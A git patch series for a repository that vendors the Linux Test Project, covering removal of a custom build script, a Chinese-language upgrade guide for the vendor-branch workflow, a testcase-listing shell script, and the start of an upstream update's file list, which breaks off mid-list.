From 2eef50fcca800d1f543879936b0e22b24545370d Mon Sep 17 00:00:00 2001 From: propelluo Date: Fri, 15 May 2026 17:12:01 +0800 Subject: [PATCH 1/8] snapshot: pure LTP upstream 220f579cd6d345bd46a5aae3237ea45aa7c6c986 Strip custom files (tst_build.sh, .code.yml, custom .gitignore entry) to keep this branch as a pure LTP upstream baseline. Co-authored-by: Cursor --- .code.yml | 3 -- .gitignore | 1 - ltp/tst_build.sh | 78 ------------------------------------------------ 3 files changed, 82 deletions(-) delete mode 100644 .code.yml delete mode 100755 ltp/tst_build.sh diff --git a/.code.yml b/.code.yml deleted file mode 100644 index 20c2d471..00000000 --- a/.code.yml +++ /dev/null @@ -1,3 +0,0 @@ -source: - third_party_source: - filepath_regex: [".*/ltp/.*"] \ No newline at end of file diff --git a/.gitignore b/.gitignore index 5138d335..1e2f5131 100644 --- a/.gitignore +++ b/.gitignore @@ -17,4 +17,3 @@ bin-release/ # should NOT be excluded as they contain compiler settings and other important # information for Eclipse / Flash Builder. *.install/ -ltp/tools/ltx/ltx diff --git a/ltp/tst_build.sh b/ltp/tst_build.sh deleted file mode 100755 index 083ab3ed..00000000 --- a/ltp/tst_build.sh +++ /dev/null @@ -1,78 +0,0 @@ -#!/bin/bash - -# Desc: 编译测试工具 -# Args: -# $1 -- g_install_dir,可选参数,指定工具安装路径 -# 说明: -# 编译脚本是名字固定为tst-build.sh的bash脚本 -# 如果不指定参数g_install_dir,那么默认安装在当前目录.install路径下 -# 编译失败则将.install目录重命名为.install.fail -# .install目录存在表示工具已经编译过,不再重复编译 - -g_tool_dir="$(dirname "$(realpath "$0")")" -g_install_dir="$1" - -# TODO: 编译依赖包列表 -build_dep_pkg_list=" - libaio* - libcap* - genisoimage - iproute-tc* - dnsmasq* - rpcbind - nfs-utils - bind - httpd* - vsftpd - libmnl* - dhcp* - telnet* - libcap* - acl-debugsource - libacl-devel -" - -# TODO: 实际编译动作 -build_tool() { - nr_job="$(grep -wc "^processor" /proc/cpuinfo)" - [ -z "$nr_job" ] && nr_job=6 - - # 不编译数据库相关的测试项 - cd "$g_tool_dir" \ - && make autotools \ - && ./configure --prefix="$g_install_dir" \ - && make all -j "$nr_job" \ - && make install -} - -# 下面代码建议保持不变 -main() { - [ -z "$g_install_dir" ] && g_install_dir="${g_tool_dir}.install" - - if [ -f "$g_install_dir" ]; then - echo "$g_install_dir not dir" - return 1 - elif [ -d "$g_install_dir" ]; then - echo "dir $g_install_dir existed, ignore rebuild" - return 0 - else - echo "build to dir $g_install_dir" - fi - - for pkg in $build_dep_pkg_list; do - rpm -q "$pkg" || yum install -y "$pkg" - done - - mkdir -p "$g_install_dir" - if build_tool; then - echo "build $g_tool_dir success, dir $g_install_dir" - return 0 - else - [ -e "${g_install_dir}.fail" ] && rm -rf "${g_install_dir}.fail" - mv "$g_install_dir" "${g_install_dir}.fail" - echo "build $g_tool_dir fail, dir $g_install_dir" - return 1 - fi -} - -main "$@" \ No newline at end of file -- Gitee From e4a1db5a325643d0ed3a0b4640d042a2164505d7 Mon Sep 17 00:00:00 2001 From: propelluo Date: Fri, 15 May 2026 17:13:22 +0800 Subject: [PATCH 2/8] docs: add UPGRADE.md describing LTP vendor upgrade workflow Co-authored-by: Cursor --- UPGRADE.md | 131 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 131 insertions(+) create mode 100644 UPGRADE.md diff --git a/UPGRADE.md b/UPGRADE.md new file mode 100644 index 00000000..0663f4ff --- /dev/null +++ b/UPGRADE.md @@ -0,0 +1,131 @@ +# LTP 源码升级操作手册 + +本文档说明本仓库如何升级到 [linux-test-project/ltp](https://github.com/linux-test-project/ltp.git) 的新版本。 + +## 一、分支模型 + +本仓库采用 vendor branch 模式管理 LTP 上游源码与自定义改动: + +- **`master`**:日常开发与发布分支。包含全部自定义改动,例如: + - 自定义脚本:`ltp/tst_build.sh` + - 自定义配置:`.code.yml`、根目录 `.gitignore` 中的自定义忽略项 + - 对 LTP 源码文件的修复 patch(若有) + - 本文档 `UPGRADE.md` +- **`ltp-vendor`**:纯净的 LTP 上游源码 snapshot 分支。**只在升级 LTP 版本时操作**,禁止在此分支提交任何自定义改动。 + +升级流程的本质:先在 `ltp-vendor` 上把源码替换为新版本并提交 snapshot,再切回 `master` 执行 `git merge ltp-vendor`,让自定义改动与上游新版本三方合并。 + +## 二、升级前置准备 + +1. 工作区必须干净:`git status` 无未提交内容 +2. 已确认要升级到的上游目标:commit SHA 或 tag(来源:`https://github.com/linux-test-project/ltp.git`) +3. 本地已 fetch 远端最新状态:`git fetch origin` + +## 三、升级标准操作流程(SOP) + +### 步骤 1:在仓库外 clone 上游、切到目标版本、去掉 `.git` + +```bash +git clone https://github.com/linux-test-project/ltp.git /tmp/ltp-upstream +cd /tmp/ltp-upstream && git checkout && rm -rf .git && cd - +``` + +> 必须 `rm -rf .git`,否则会把上游的 git 仓库套进本仓库的工作区。 + +### 步骤 2:切到 `ltp-vendor` 分支并确认工作区干净 + +```bash +git checkout ltp-vendor +git pull --ff-only origin ltp-vendor +git status # 必须是 clean +``` + +### 步骤 3:删旧放新 + +> **危险操作!** 执行 `rm -rf ltp/` 前务必确认当前在本仓库根目录。 + +```bash +# 确认在本仓库根目录 +pwd +test "$(git rev-parse --show-toplevel)" = "$(pwd)" && echo "OK: in repo root" || echo "ERROR: not in repo root" + +# 确认无误后执行 +rm -rf ltp/ +cp -r /tmp/ltp-upstream ltp/ +``` + +只删 `ltp/` 子目录,不动根目录的 `LICENSE`、`README.md`、`.gitignore`、`UPGRADE.md` 等项目文件。 + +> 如果担心 `rm -rf` 风险,可改用 `git rm -r ltp/` 让 git 来标记删除,再 `cp` 新内容,效果完全一致。 + +### 步骤 4:防御性清理 + +上游若恰好新增了同名文件,避免污染 vendor 分支: + +```bash +rm -f ltp/tst_build.sh +``` + +### 步骤 5:提交 snapshot 并推送 + +```bash +git add -A ltp/ +git status # 确认改动只发生在 ltp/ 目录下 +git commit -m "update ltp to " +git push origin ltp-vendor +``` + +### 步骤 6:切回 `master` 合入 vendor 分支 + +```bash +git checkout master +git pull --ff-only origin master +git merge ltp-vendor +``` + +如果出现冲突,按下一节处理。冲突解决后: + +```bash +git push origin master +``` + +## 四、冲突处理 + +冲突一般发生在 master 上自定义修改过的源码文件被上游也改动了的位置。 + +1. `git status` 查看冲突文件清单 +2. 对每个冲突文件,用 `git log --follow <冲突文件>` 找到当年的自定义提交(提交说明中通常有 `fix`、`custom patch` 等字样),结合上下文判断: + - 取上游新版本(自定义修复已被上游正式接纳或已不再需要) + - 保留自定义修改(自定义 patch 仍然必要) + - 重新 patch 一次(上游改了周边代码,需要把自定义 patch 移植过去) +3. `git add <冲突文件>` 标记解决 +4. 全部解决后 `git commit`(不带参数即可,git 会自动生成 merge commit message) +5. `git push origin master` + +## 五、回滚 + +若升级合入后发现严重问题: + +```bash +# 在 master 上回滚 merge(不影响 ltp-vendor 上的 snapshot) +git revert -m 1 +git push origin master +``` + +`ltp-vendor` 上的 snapshot 提交保留不动,便于将来重新尝试或对比差异。 + +## 六、禁止事项 + +- 严禁在 `ltp-vendor` 分支上提交任何自定义改动(脚本、配置、源码 patch 都不行)。该分支必须保持纯净,否则下次升级时会把"自定义内容"再覆盖一次,造成混乱。 +- 直接修改 `ltp/` 下的源码并只提交到 `master` 时,**提交说明必须清楚标注**(例如以 `fix:` 开头或包含 `custom patch` 字样),便于将来升级冲突时识别意图。 +- 不要在升级流程中混入与升级无关的提交,保持每次 `update ltp to ` 的提交是"纯升级"。 + +## 七、参考:当前分支结构 + +``` +master ── 自定义改动 + LTP 源码(带 patch) + ▲ + │ git merge ltp-vendor + │ +ltp-vendor ── 纯净 LTP 上游源码 snapshot +``` -- Gitee From 089df518c810a528178d8e03c89061f0b226cb4c Mon Sep 17 00:00:00 2001 From: propelluo Date: Sun, 17 May 2026 17:50:40 +0800 Subject: [PATCH 3/8] =?UTF-8?q?=E6=96=B0=E5=A2=9E=E7=94=A8=E4=BE=8B?= =?UTF-8?q?=E5=88=97=E8=A1=A8=E6=8F=90=E5=8F=96=E8=84=9A=E6=9C=AC?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: propelluo --- ltp/tst-list-cases.sh | 101 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 101 insertions(+) create mode 100755 ltp/tst-list-cases.sh diff --git a/ltp/tst-list-cases.sh b/ltp/tst-list-cases.sh new file mode 100755 index 00000000..3785fc68 --- /dev/null +++ b/ltp/tst-list-cases.sh @@ -0,0 +1,101 @@ +#!/usr/bin/env bash +# +# tst-list-cases.sh - Generate a flat list of LTP testcases from runtest/ files. +# +# For each file in the runtest directory (except Makefile), the file name is +# treated as the category and the first whitespace-separated token of every +# non-empty, non-comment line is treated as a testcase id. The output is one +# `/` entry per line. +# +# Duplicate `/` lines (which happen because some upstream +# runtest files such as scsi_debug.part1 reuse the same testcase id across +# different filesystems) are deduplicated: only the first occurrence is kept, +# original order is preserved. + +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" + +DEFAULT_RUNTEST_DIR="${SCRIPT_DIR}/runtest" +DEFAULT_OUTPUT_FILE="${SCRIPT_DIR}/testcases.list" + +RUNTEST_DIR="${DEFAULT_RUNTEST_DIR}" +OUTPUT_FILE="${DEFAULT_OUTPUT_FILE}" + +usage() { + cat </ +EOF +} + +while getopts ":d:o:h" opt; do + case "${opt}" in + d) RUNTEST_DIR="${OPTARG}" ;; + o) OUTPUT_FILE="${OPTARG}" ;; + h) usage; exit 0 ;; + \?) echo "Error: invalid option -${OPTARG}" >&2; usage >&2; exit 2 ;; + :) echo "Error: option -${OPTARG} requires an argument" >&2; usage >&2; exit 2 ;; + esac +done + +if [[ ! -d "${RUNTEST_DIR}" ]]; then + echo "Error: runtest directory not found: ${RUNTEST_DIR}" >&2 + exit 1 +fi + +OUTPUT_DIR="$(dirname "${OUTPUT_FILE}")" +if [[ ! -d "${OUTPUT_DIR}" ]]; then + echo "Error: output directory not found: ${OUTPUT_DIR}" >&2 + exit 1 +fi + +TMP_RAW="$(mktemp "${OUTPUT_FILE}.raw.XXXXXX")" +TMP_FINAL="$(mktemp "${OUTPUT_FILE}.final.XXXXXX")" +trap 'rm -f "${TMP_RAW}" "${TMP_FINAL}"' EXIT + +file_count=0 +raw_count=0 + +shopt -s nullglob +for f in "${RUNTEST_DIR}"/*; do + [[ -f "${f}" ]] || continue + + name="$(basename "${f}")" + [[ "${name}" == "Makefile" ]] && continue + + added=$( + awk -v cat="${name}" ' + /^[[:space:]]*$/ { next } + /^[[:space:]]*#/ { next } + NF == 0 { next } + { print cat "/" $1 } + ' "${f}" | tee -a "${TMP_RAW}" | wc -l + ) + + file_count=$((file_count + 1)) + raw_count=$((raw_count + added)) +done +shopt -u nullglob + +awk '!seen[$0]++' "${TMP_RAW}" > "${TMP_FINAL}" +final_count=$(wc -l < "${TMP_FINAL}") +dup_count=$((raw_count - final_count)) + +mv -f "${TMP_FINAL}" "${OUTPUT_FILE}" +rm -f "${TMP_RAW}" +trap - EXIT + +if [[ "${dup_count}" -gt 0 ]]; then + echo "Generated ${final_count} testcases from ${file_count} files (deduped ${dup_count} duplicate entries) -> ${OUTPUT_FILE}" >&2 +else + echo "Generated ${final_count} testcases from ${file_count} files -> ${OUTPUT_FILE}" >&2 +fi -- Gitee From f6e5150ebd051497d43fb383cc902eafb6fa0141 Mon Sep 17 00:00:00 2001 From: propelluo Date: Sun, 17 May 2026 18:40:52 +0800 Subject: [PATCH 4/8] update ltp with commit 8cd7644a52e348393d453d0ec5bf9424ea31a4cc Signed-off-by: propelluo --- ltp/.b4-config | 5 +- ltp/.checkpatch.conf | 19 + ltp/.editorconfig | 43 + ltp/.mailmap | 2 + ltp/INSTALL | 6 +- ltp/Makefile | 6 +- ltp/README.rst | 2 +- ltp/TODO | 39 - ltp/VERSION | 2 +- ltp/ci/alpine.sh | 1 + ltp/ci/debian.sh | 1 + ltp/ci/fedora.sh | 1 + ltp/ci/tools/patchwork.sh | 32 +- ltp/ci/tumbleweed.sh | 1 + ltp/configure.ac | 22 +- ltp/doc/.gitignore | 1 + ltp/doc/Makefile | 2 +- ltp/doc/_static/custom.css | 9 +- ltp/doc/conf.py | 114 +- ltp/doc/developers/api_c_tests.rst | 18 +- ltp/doc/developers/api_shell_tests.rst | 91 + ltp/doc/developers/debugging.rst | 11 +- ltp/doc/developers/ground_rules.rst | 176 ++ ltp/doc/developers/ltp_library.rst | 29 + ltp/doc/developers/setup_mailinglist.rst | 18 +- ltp/doc/developers/test_case_tutorial.rst | 23 +- ltp/doc/developers/todo.rst | 65 + ltp/doc/developers/writing_tests.rst | 14 +- ltp/doc/index.rst | 17 +- ltp/doc/old/C-Test-API.asciidoc | 17 +- ltp/doc/requirements.txt | 5 +- ltp/doc/users/cve_catalog.rst | 6 + ltp/doc/users/quick_start.rst | 2 +- ltp/doc/users/setup_tests.rst | 42 +- .../{stats.rst => supported_syscalls.rst} | 8 +- ltp/doc/users/supported_systems.rst | 6 - ltp/include/Makefile | 11 +- ltp/include/lapi/Makefile | 7 + ltp/include/lapi/aio_abi.h | 44 + ltp/include/lapi/fcntl.h | 4 + ltp/include/lapi/fs.h | 21 + ltp/include/lapi/fsmount.h | 8 + ltp/include/lapi/io_uring.h | 10 + ltp/include/lapi/keyctl.h | 3 +- ltp/include/lapi/mmap.h | 4 + ltp/include/lapi/mount.h | 10 +- ltp/include/lapi/rt_sigaction.h | 2 +- ltp/include/lapi/sched.h | 27 +- ltp/include/lapi/splice.h | 33 + ltp/include/lapi/tls.h | 77 + ltp/include/lapi/udp.h | 8 + ltp/include/lapi/userfaultfd.h | 110 ++ ltp/include/lapi/vm_sockets.h | 17 + ltp/include/mk/env_post.mk | 2 +- ltp/include/old/old_resource.h | 55 - ltp/include/old/test.h | 14 +- .../{old_checkpoint.h => tso_checkpoint.h} | 39 +- ltp/include/old/{ltp_cpuid.h => tso_cpuid.h} | 0 .../old/{old_device.h => tso_device.h} | 21 +- ltp/include/old/{tlibio.h => tso_lio.h} | 30 +- .../old/{old_module.h => tso_module.h} | 32 +- ltp/include/old/{ltp_priv.h => tso_priv.h} | 19 +- .../{random_range.h => tso_random_range.h} | 31 +- ltp/include/old/tso_resource.h | 34 + ...ld_safe_file_ops.h => tso_safe_file_ops.h} | 17 +- .../old/{safe_macros.h => tso_safe_macros.h} | 10 +- .../old/{old_safe_net.h => tso_safe_net.h} | 21 +- .../{old_safe_stdio.h => tso_safe_stdio.h} | 21 +- .../old/{ltp_signal.h => tso_signal.h} | 22 +- .../old/{old_tmpdir.h => tso_tmpdir.h} | 21 +- ltp/include/old/{usctest.h => tso_usctest.h} | 36 +- ltp/include/safe_stdio_fn.h | 21 + ltp/include/{ipcmsg.h => tse_ipcmsg.h} | 27 +- ltp/include/{ipcsem.h => tse_ipcsem.h} | 27 +- ltp/include/{libmsgctl.h => tse_msgctl.h} | 22 +- ltp/include/{libnewipc.h => tse_newipc.h} | 21 +- ltp/include/{tst_numa.h => tse_numa.h} | 52 +- .../{parse_vdso.h => tse_parse_vdso.h} | 6 +- ltp/include/{libsigwait.h => tse_sigwait.h} | 28 +- ltp/include/{libswap.h => tse_swap.h} | 17 +- ltp/include/{tst_uinput.h => tse_uinput.h} | 6 +- ltp/include/tst_af_alg.h | 2 +- ltp/include/tst_atomic.h | 10 + ltp/include/tst_cgroup.h | 2 +- ltp/include/tst_cmd.h | 84 +- ltp/include/tst_common.h | 5 + ltp/include/tst_device.h | 12 +- ltp/include/tst_fs.h | 3 +- ltp/include/tst_kernel.h | 10 + ltp/include/tst_kvercmp.h | 86 +- ltp/include/tst_parse.h | 20 +- ltp/include/tst_private.h | 7 +- ltp/include/tst_process_state.h | 51 +- ltp/include/tst_res_flags.h | 19 +- ltp/include/tst_safe_file_ops.h | 21 + ltp/include/tst_safe_stdio.h | 21 + ltp/include/tst_sys_conf.h | 56 +- ltp/include/tst_test.h | 164 +- ltp/include/tst_test_macros.h | 98 +- ltp/include/tst_uid.h | 6 +- ltp/include/ujson.h | 6 +- ltp/include/ujson_common.h | 6 +- ltp/include/ujson_reader.h | 6 +- ltp/include/ujson_utf.h | 6 +- ltp/lib/newlib_tests/.gitignore | 1 + ltp/lib/newlib_tests/runtest.sh | 1 + .../newlib_tests/shell/tst_format_device.sh | 2 +- ltp/lib/newlib_tests/test_kconfig.c | 1 + ltp/lib/newlib_tests/tst_filesystems01.c | 108 ++ ltp/lib/newlib_tests/tst_needs_cmds01.c | 16 +- ltp/lib/newlib_tests/tst_needs_cmds02.c | 6 +- ltp/lib/newlib_tests/tst_needs_cmds03.c | 6 +- ltp/lib/newlib_tests/tst_needs_cmds04.c | 6 +- ltp/lib/newlib_tests/tst_needs_cmds05.c | 6 +- ltp/lib/newlib_tests/tst_needs_cmds06.c | 6 +- ltp/lib/newlib_tests/tst_needs_cmds07.c | 6 +- ltp/lib/newlib_tests/tst_needs_cmds08.c | 8 +- ltp/lib/newlib_tests/tst_res_flags.c | 2 +- ltp/lib/parse_opts.c | 4 +- ltp/lib/random_range.c | 2 +- ltp/lib/safe_file_ops.c | 26 + ltp/lib/safe_macros.c | 2 +- ltp/lib/safe_stdio.c | 101 ++ ltp/lib/tests/trerrno.c | 2 +- ltp/lib/tests/tst_dataroot01.c | 2 +- ltp/lib/tests/tst_dataroot02.c | 2 +- ltp/lib/tests/tst_dataroot03.c | 2 +- ltp/lib/tests/tst_safe_macros.c | 2 +- ltp/lib/tlibio.c | 4 +- ltp/lib/tst_af_alg.c | 3 +- ltp/lib/tst_checkpoint.c | 8 +- ltp/lib/tst_clocks.c | 2 +- ltp/lib/tst_clone.c | 4 +- ltp/lib/tst_cmd.c | 19 +- ltp/lib/tst_cpu.c | 2 +- ltp/lib/tst_device.c | 100 +- ltp/lib/tst_dir_is_empty.c | 2 +- ltp/lib/tst_fs_link_count.c | 4 +- ltp/lib/tst_kconfig.c | 81 +- ltp/lib/tst_kconfig_checks.h | 37 + ltp/lib/tst_kernel.c | 14 +- ltp/lib/tst_mkfs.c | 5 +- ltp/lib/tst_module.c | 4 +- ltp/lib/tst_parse_opts.c | 2 +- ltp/lib/tst_pid.c | 2 +- ltp/lib/tst_res.c | 6 +- ltp/lib/tst_resource.c | 4 +- ltp/lib/tst_security.c | 2 + ltp/lib/tst_supported_fs_types.c | 10 +- ltp/lib/tst_test.c | 166 +- ltp/lib/tst_tmpdir.c | 92 +- ltp/lib/tst_virt.c | 2 +- ltp/libs/ipc/{libipc.c => tse_ipc.c} | 25 +- ltp/libs/ipc/{libmsgctl.c => tse_msgctl.c} | 20 +- ltp/libs/newipc/{libnewipc.c => tse_newipc.c} | 2 +- ltp/libs/numa/{tst_numa.c => tse_numa.c} | 22 +- ltp/libs/sigwait/{sigwait.c => tse_sigwait.c} | 24 +- ltp/libs/swap/{libswap.c => tse_swap.c} | 76 +- .../uinput/{tst_uinput.c => tse_uinput.c} | 2 +- .../vdso/{parse_vdso.c => tse_parse_vdso.c} | 2 +- ltp/libs/vdso/vdso_helpers.c | 2 +- ltp/m4/ax_compare_version.m4 | 177 -- ...ltin_clear_cache.m4 => ltp-clear_cache.m4} | 13 +- ltp/metadata/README.md | 17 +- ltp/metadata/data_storage.h | 31 + ltp/metadata/metaparse.c | 85 +- ltp/pan/Makefile | 51 - ltp/pan/cgi/README | 59 - ltp/pan/cgi/browse.cgi | 225 --- ltp/pan/cgi/reconsile.cgi | 250 --- ltp/pan/cgi/results.cgi | 164 -- ltp/pan/ltp-bump.c | 115 -- ltp/pan/ltp-pan.c | 1485 ----------------- ltp/pan/splitstr.c | 192 --- ltp/pan/splitstr.h | 36 - ltp/pan/tag_report.h | 51 - ltp/pan/zoolib.c | 447 ----- ltp/pan/zoolib.h | 83 - ltp/runltp | 962 +---------- ltp/runtest/crypto | 1 + ltp/runtest/cve | 4 + ltp/runtest/ima | 5 +- ltp/runtest/ltp-aiodio.part2 | 16 +- ltp/runtest/ltp-aiodio.part4 | 32 - ltp/runtest/net.nfs | 50 +- ltp/runtest/power_management_tests | 3 - ltp/runtest/power_management_tests_exclusive | 6 - ltp/runtest/s390x_tests | 2 - ltp/runtest/syscalls | 19 + ltp/runtest/tracing | 1 + ltp/scenario_groups/Makefile | 38 - ltp/scenario_groups/default | 28 - ltp/scenario_groups/network | 20 - ltp/scripts/checkpatch.pl | 701 ++++++-- ltp/scripts/spelling.txt | 424 +++-- ltp/testcases/commands/du/du01.sh | 6 +- ltp/testcases/commands/ld/ld01.sh | 2 +- ltp/testcases/commands/mkdir/mkdir_tests.sh | 3 + ltp/testcases/commands/vmcp/vmcp_m.sh | 48 - ltp/testcases/cve/.gitignore | 1 + ltp/testcases/cve/cve-2017-17052.c | 15 +- ltp/testcases/cve/cve-2025-21756.c | 95 ++ ltp/testcases/cve/icmp_rate_limit01.c | 2 + ltp/testcases/cve/meltdown.c | 2 +- ltp/testcases/cve/stack_clash.c | 8 +- ltp/testcases/cve/tcindex01.c | 5 +- .../kernel/connectors/pec/event_generator.c | 5 +- .../kernel/connectors/pec/pec_listener.c | 4 +- .../kernel/containers/pidns/pidns04.c | 4 + .../kernel/containers/pidns/pidns05.c | 4 + .../kernel/containers/pidns/pidns06.c | 4 + .../kernel/containers/pidns/pidns10.c | 4 + .../kernel/containers/pidns/pidns13.c | 4 + .../kernel/containers/pidns/pidns16.c | 4 + .../kernel/containers/pidns/pidns17.c | 4 + .../kernel/containers/pidns/pidns30.c | 4 + .../kernel/containers/pidns/pidns31.c | 4 + .../kernel/containers/pidns/pidns32.c | 8 +- ltp/testcases/kernel/controllers/README | 5 - .../cgroup/cgroup_regression_test.sh | 9 + .../controllers/cgroup_xattr/cgroup_xattr.c | 5 +- .../controllers/cpuctl/cpuctl_def_task01.c | 2 +- .../controllers/cpuctl/cpuctl_def_task02.c | 2 +- .../controllers/cpuctl/cpuctl_def_task03.c | 2 +- .../controllers/cpuctl/cpuctl_def_task04.c | 2 +- .../kernel/controllers/cpuctl/cpuctl_test01.c | 2 +- .../kernel/controllers/cpuctl/cpuctl_test02.c | 2 +- .../kernel/controllers/cpuctl/cpuctl_test03.c | 2 +- .../kernel/controllers/cpuctl/cpuctl_test04.c | 2 +- .../cpuset_memory_spread_testset.sh | 2 +- .../cpuset_memory_testset.sh | 30 +- .../kernel/controllers/memcg/memcontrol01.c | 9 +- .../kernel/controllers/memcg/memcontrol02.c | 9 +- .../kernel/controllers/memcg/memcontrol03.c | 2 +- .../kernel/controllers/memcg/memcontrol04.c | 2 +- .../controllers/memcg/memcontrol_common.h | 3 + .../memcg/regression/memcg_test_3.c | 11 +- ltp/testcases/kernel/controllers/testplan.txt | 15 - ltp/testcases/kernel/crypto/.gitignore | 1 + ltp/testcases/kernel/crypto/af_alg08.c | 167 ++ .../kernel/device-drivers/acpi/.gitignore | 1 + .../kernel/device-drivers/acpi/ltp_acpi.c | 9 +- .../block/block_dev_kernel/.gitignore | 1 + .../block/block_dev_user/block_dev.c | 8 + .../device-drivers/cpufreq/cpufreq_boost.c | 2 +- .../device-drivers/locking/lock_torture.sh | 2 +- .../device-drivers/pci/tpci_user/tpci.c | 7 +- .../kernel/device-drivers/rtc/rtc01.c | 2 +- .../device-drivers/tbio/tbio_user/tbio.c | 4 +- .../kernel/device-drivers/uaccess/uaccess.c | 13 +- .../kernel/device-drivers/zram/zram03.c | 12 +- .../kernel/firmware/fw_load_user/fw_load.c | 8 +- ltp/testcases/kernel/fs/doio/doio.c | 2 +- ltp/testcases/kernel/fs/doio/growfiles.c | 6 +- ltp/testcases/kernel/fs/doio/iogen.c | 2 +- .../kernel/fs/fs_readonly/test_robind.sh | 2 +- ltp/testcases/kernel/fs/ftest/ftest01.c | 2 +- ltp/testcases/kernel/fs/ftest/ftest03.c | 2 +- ltp/testcases/kernel/fs/ftest/ftest04.c | 2 +- ltp/testcases/kernel/fs/ftest/ftest05.c | 2 +- ltp/testcases/kernel/fs/ftest/ftest07.c | 2 +- ltp/testcases/kernel/fs/ftest/ftest08.c | 2 +- ltp/testcases/kernel/fs/iso9660/isofs.sh | 1 + ltp/testcases/kernel/fs/read_all/read_all.c | 1 + ltp/testcases/kernel/fs/squashfs/squashfs01.c | 10 +- ltp/testcases/kernel/fs/stream/stream01.c | 155 +- ltp/testcases/kernel/fs/stream/stream02.c | 134 +- ltp/testcases/kernel/fs/stream/stream03.c | 326 +--- ltp/testcases/kernel/fs/stream/stream04.c | 147 +- ltp/testcases/kernel/fs/stream/stream05.c | 258 +-- ltp/testcases/kernel/input/input_common.h | 2 +- ltp/testcases/kernel/io/direct_io/diotest1.c | 2 +- ltp/testcases/kernel/io/direct_io/diotest4.c | 2 +- .../kernel/io/direct_io/dma_thread_diotest.c | 5 +- ltp/testcases/kernel/io/ltp-aiodio/dio_read.c | 24 +- ltp/testcases/kernel/ipc/pipeio/pipeio.c | 4 +- ltp/testcases/kernel/kvm/kvm_pagefault01.c | 4 + ltp/testcases/kernel/kvm/kvm_svm01.c | 4 + ltp/testcases/kernel/kvm/kvm_svm02.c | 4 + ltp/testcases/kernel/kvm/kvm_svm03.c | 4 + ltp/testcases/kernel/kvm/kvm_svm04.c | 4 + ltp/testcases/kernel/kvm/kvm_vmx01.c | 4 + ltp/testcases/kernel/kvm/kvm_vmx02.c | 4 + ltp/testcases/kernel/lib/numa_helper.c | 2 +- ltp/testcases/kernel/mem/cpuset/cpuset02.c | 6 +- .../kernel/mem/hugetlb/hugemmap/hugemmap15.c | 4 + .../kernel/mem/hugetlb/hugemmap/hugemmap34.c | 10 +- .../mem/hugetlb/hugeshmat/hugeshmat05.c | 6 +- .../mem/hugetlb/hugeshmctl/hugeshmctl02.c | 2 +- .../kernel/mem/hugetlb/lib/hugetlb.c | 42 +- .../kernel/mem/hugetlb/lib/hugetlb.h | 3 +- ltp/testcases/kernel/mem/ksm/ksm01.c | 26 +- ltp/testcases/kernel/mem/ksm/ksm02.c | 28 +- ltp/testcases/kernel/mem/ksm/ksm03.c | 28 +- ltp/testcases/kernel/mem/ksm/ksm04.c | 2 +- ltp/testcases/kernel/mem/ksm/ksm05.c | 50 +- ltp/testcases/kernel/mem/ksm/ksm06.c | 15 +- ltp/testcases/kernel/mem/oom/oom.h | 9 +- ltp/testcases/kernel/mem/shmt/shmt02.c | 2 +- ltp/testcases/kernel/mem/shmt/shmt03.c | 2 +- ltp/testcases/kernel/mem/shmt/shmt04.c | 2 +- ltp/testcases/kernel/mem/shmt/shmt05.c | 2 +- ltp/testcases/kernel/mem/shmt/shmt07.c | 2 +- ltp/testcases/kernel/mem/shmt/shmt08.c | 2 +- ltp/testcases/kernel/mem/shmt/shmt09.c | 2 +- ltp/testcases/kernel/mem/shmt/shmt10.c | 2 +- .../kernel/mem/tunable/max_map_count.c | 54 +- .../kernel/mem/tunable/min_free_kbytes.c | 38 +- .../kernel/mem/tunable/overcommit_memory.c | 90 +- ltp/testcases/kernel/mem/vma/vma01.c | 2 +- ltp/testcases/kernel/mem/vma/vma02.c | 6 +- ltp/testcases/kernel/mem/vma/vma03.c | 2 +- ltp/testcases/kernel/mem/vma/vma04.c | 7 +- ltp/testcases/kernel/mem/vma/vma05.sh | 9 +- .../kernel/power_management/.gitignore | 1 - .../kernel/power_management/Makefile | 2 +- ltp/testcases/kernel/power_management/README | 29 - .../kernel/power_management/lib/Makefile | 25 - .../power_management/lib/pm_sched_mc.py | 835 --------- .../power_management/pm_cpu_consolidation.py | 143 -- .../power_management/pm_get_sched_values.c | 36 - .../kernel/power_management/pm_ilb_test.py | 57 - .../kernel/power_management/pm_include.sh | 311 +--- .../power_management/pm_sched_domain.py | 54 - .../kernel/power_management/runpwtests01.sh | 71 - .../kernel/power_management/runpwtests02.sh | 68 - .../kernel/power_management/runpwtests03.sh | 23 +- .../kernel/power_management/runpwtests05.sh | 76 - .../kernel/power_management/runpwtests06.sh | 31 + .../runpwtests_exclusive01.sh | 97 -- .../runpwtests_exclusive02.sh | 68 - .../runpwtests_exclusive03.sh | 95 -- .../runpwtests_exclusive04.sh | 58 - .../runpwtests_exclusive05.sh | 97 -- ltp/testcases/kernel/pty/hangup01.c | 2 +- ltp/testcases/kernel/pty/pty02.c | 14 +- ltp/testcases/kernel/pty/pty03.c | 2 +- ltp/testcases/kernel/pty/pty04.c | 15 +- ltp/testcases/kernel/pty/pty05.c | 11 +- .../hyperthreading/ht_affinity/ht_utils.c | 2 +- .../hyperthreading/ht_enabled/ht_utils.c | 2 +- ltp/testcases/kernel/security/aslr/aslr01.c | 6 +- .../dirtyc0w_shmem/dirtyc0w_shmem_child.c | 15 +- .../security/filecaps/filecaps_common.h | 2 +- .../security/integrity/ima/src/ima_mmap.c | 41 +- .../integrity/ima/tests/ima_conditionals.sh | 78 +- .../security/integrity/ima/tests/ima_kexec.sh | 36 +- .../integrity/ima/tests/ima_measurements.sh | 11 +- .../integrity/ima/tests/ima_selinux.sh | 3 +- .../security/integrity/ima/tests/ima_setup.sh | 21 +- .../integrity/ima/tests/ima_violations.sh | 37 +- .../kernel/security/kallsyms/kallsyms.c | 7 +- .../security/prot_hsymlinks/prot_hsymlinks.c | 2 +- ltp/testcases/kernel/security/smack/README | 2 +- .../kernel/syscalls/add_key/add_key05.c | 10 +- .../kernel/syscalls/cachestat/cachestat02.c | 8 +- .../kernel/syscalls/chdir/.gitignore | 1 + ltp/testcases/kernel/syscalls/chdir/chdir02.c | 38 + .../syscalls/clock_gettime/clock_gettime04.c | 2 +- .../kernel/syscalls/clone/.gitignore | 2 + ltp/testcases/kernel/syscalls/clone/clone02.c | 2 +- ltp/testcases/kernel/syscalls/clone/clone10.c 